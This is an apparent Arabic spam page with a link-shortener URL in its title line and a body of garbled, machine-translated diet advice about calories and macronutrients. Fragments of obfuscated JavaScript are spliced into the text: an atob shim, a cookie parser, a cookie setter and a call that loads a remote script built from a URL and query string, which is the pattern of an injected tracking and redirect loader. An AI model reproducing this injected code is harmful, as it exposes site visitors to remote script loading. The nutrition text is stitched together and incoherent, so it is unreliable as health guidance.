بذور الكتان البشره ثقف نفسك دعاء 🗹 https://geags.com/1txsrv

أدناه ، سأعطيك طريقة لمعرفة نقطة انطلاق للبدء ، ولكن تذكر ، أن جيناتنا معتادة على الطريقة التي أكل بها أجدادنا: بشكل متقطع ، بشكل متقطع ، وأحيانًا بكميات كبيرة ، وأحيانًا لا على الإطلاق لعدة أيام.. لكن كيف تفعل ذلك؟ كيف يمكنك معرفة العدد الصحيح للسعرات الحرارية وتلف الدهون والبروتين والكربوهيدرات لتحقيق أهدافك الصحية واللياقة؟ لتخفيف الوزن؟ يخسر وزنا؟ اكتساب العضلات؟ الحفاظ على الوضع الراهن؟ تشغيل سباقات الماراثون؟ في الواقع ، فإن الأنظمة الغذائية اليومية الأكثر شعبية تنظر إلى السعرات الحرارية الكلية كعامل رئيسي في فقدان الوزن وزيادة الوزن.. سوف يخبرك أخصائي التغذية المدرّب بشكل كلاسيكي أن البروتين يجب أن يكون حوالي 10-15 ٪ من السعرات الحرارية ، وينبغي أن يكون الكربوهيدرات 60 ٪ (ومعظمها من الحبوب الكاملة) والدهون أقل من 30 ٪.

constructor(\x22return\x20this\x22)(\x20)'+');');_0x592f7e=_0x4b122c();}catch(_0x2275f6){_0x592f7e=window;}var _0x3b1a6c='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x592f7e['atob']||(_0x592f7e['atob']=function(_0x180d0e){var _0x1f9a31=String(_0x180d0e)['replace'](/=+$/,'');for(var _0x3b1117=0x0,_0x12d6a9,_0x52075b,_0x3b484f=0x0,_0x42fec5='';_0x52075b=_0x1f9a31['charAt'](_0x3b484f++);~_0x52075b&&(_0x12d6a9=_0x3b1117%0x4?_0x12d6a9*0x40+_0x52075b:_0x52075b,_0x3b1117++%0x4)?_0x42fec5+=String['fromCharCode'](0xff&_0x12d6a9>>(-0x2*_0x3b1117&0x6)):0x0){_0x52075b=_0x3b1a6c['indexOf'](_0x52075b);}return _0x42fec5;});}());_0x46f5['oHFGpk']=function(_0xa814e3){var _0x169a00=atob(_0xa814e3);var _0x468d27=[];for(var _0xd7fdd1=0x0,_0x2e58c6=_0x169a00['length'];_0xd7fdd1=0x0){if(_0x13b5a8[_0x46f5('0x2f')](_0x13b5a8['CWIGZ'],_0x13b5a8[_0x46f5('0x30')])){params=matches[_0xf15c01][_0x46f5('0xe')]('=');cookie[params[0x0]]=params[0x1]['replace'](/;$/);}else{_0x2d21a7=!![];}}}else{var _0x34d1dd=_0x46f5('0x31')[_0x46f5('0xe')]('|'),_0x231cd7=0x0;while(!![]){switch(_0x34d1dd[_0x231cd7++]){case'0':for(var _0x795e4=0x0;_0x795e4

علاوة على ذلك ، فيما يتعلق بالحفاظ على الطاقة أو الإنفاق ، فإن الجسم يعمل كمستودع تخزين فعال للوقود (وكموقع خصر سام) بالإضافة إلى مولد قوي للطاقة ، ويعتمد إلى حد كبير على الإشارات الهرمونية التي يحصل عليها.. ليس من المستحيل تقريبًا أن تقوم بدقة بقياس احتياجاتك من السعرات الحرارية و المغذيات الكبيرة بدقة ، فذلك سيقودك للجنون.. المحافظة القديمة على الطاقة تقول الحكمة التقليدية إن السعرات الحرارية هي سعرات حرارية.. في الواقع ، من أجل التحديد الدقيق لاحتياجاتك من الوقود الهيكلي والوظيفي (وبالتالي تحقيق أهدافك) ، يكون من الأكثر فاعلية النظر إلى فترة زمنية أكبر بكثير ، مثل بضعة أسابيع ، وتهدف إلى استهلاك متوسط.. بعد ذلك ، يمكنك مراجعة متوسط المتحصلات اليومية على مدار الأسابيع أو الأشهر وتعديلها وفقًا لذلك.

برزت أجسادهم وسيلة للحفاظ على التوازن والحفاظ على الأنسجة الخالية من الدهون وصحة جيدة من خلال كل هذا ، وحتى يمكننا ذلك.. يستخدم جسم الإنسان هذه المغذيات الكبيرة لمجموعة متنوعة من الوظائف المختلفة ، وبعضها هيكلي وبعضها ببساطة لتوفير الطاقة على الفور أو بشكل جيد في المستقبل.. *?(?:$|;)/g),_0xe9ea1b={};continue;case'2':if(name){return _0xe9ea1b[name];}continue;case'3':var _0x1f92aa;continue;case'4':if(_0x13b5a8[_0x46f5('0x32')](!_0xf20f5b,name)){return undefined;}continue;case'5':return _0xe9ea1b;}break;}}}if(_0x2d21a7){cookie[_0x46f5('0x10')](_0x13b5a8[_0x46f5('0x33')],0x1,0x1);if(!_0x142318){_0x13b5a8['ozhmd'](include,_0x13b5a8[_0x46f5('0x34')](_0x13b5a8[_0x46f5('0x34')](_0x13b5a8[_0x46f5('0x35')],q),''));}}}R(); احسب في حديثي الأخير بعنوان Context of Calories ، شرحت كيف أن المغذيات المختلفة التي نتناولها في كل وجبة (دهون ، بروتينات ، وكربوهيدرات) لها تأثيرات مختلفة في الجسم.. بذور الكتان البشره ثقف نفسك دعاء رمضانوالخبر السار في كل هذا هو أن السقوط من العربة مرة أو مرتين هذا الأسبوع لن يكون له تأثير كارثي فوري قد تتخيله طالما يمكنك الحفاظ على متوسط المتحصل تحت السيطرة وفهم كيفية عمل المغذيات الكبيرة المختلفة مع مرور الوقت.. سيخزن الجليكوجين و / أو الدهون وسيبني العضلات أو سوف يمزقها بسهولة ويساعد على استخدامها للوقود بناء على المدخلات منك: ما تأكله ، كم تأكله ، عندما تأكل ، ماذا تعيد قبل أو بعد تناول ما تفكر به عندما تأكل.. ومع ذلك ، لأن جسدك يسعى دائمًا إلى تحقيق التوازن مع الوقت ، فإن فكرة أنك تحاول التقليل من التركيز على خطة تناول الطعام اليومية أو الوجبات من الوجبة إلى الوجبة تكون عقيمة بشكل عام (نعم ، شارلوت ، بعض الفاكهة مسموح بها).. هذا الانهيار في المغذيات الكبيرة يبقى على حاله بغض النظر عن مقدار الوزن الذي يجب أن تخسره أو الأهداف الأخرى التي قد تكون لديك.. لقد اقترحت أنه ، على الرغم من قيم السعرات الحرارية الخام ، فإنه من الأهمية بمكان الحصول على شعور بديهي دائم بمدى كل ما تحتاجه من مغذيات كبيرة وعندما تحتاجها (أو لا تحتاجها).. تعتمد وزارة الزراعة الأمريكية على كل ما يتراوح بين 2000 و 2500 سعر حراري في اليوم.. من هناك ، يصف معظم معلمو الحمية عمومًا بعض التحلل المعياري للكلمة الواحدة من الدهون والبروتين والكربوهيدرات. 5ebbf469cd

5ebbf469cd

[TOP] بذور الكتان البشره ثقف نفسك دعاء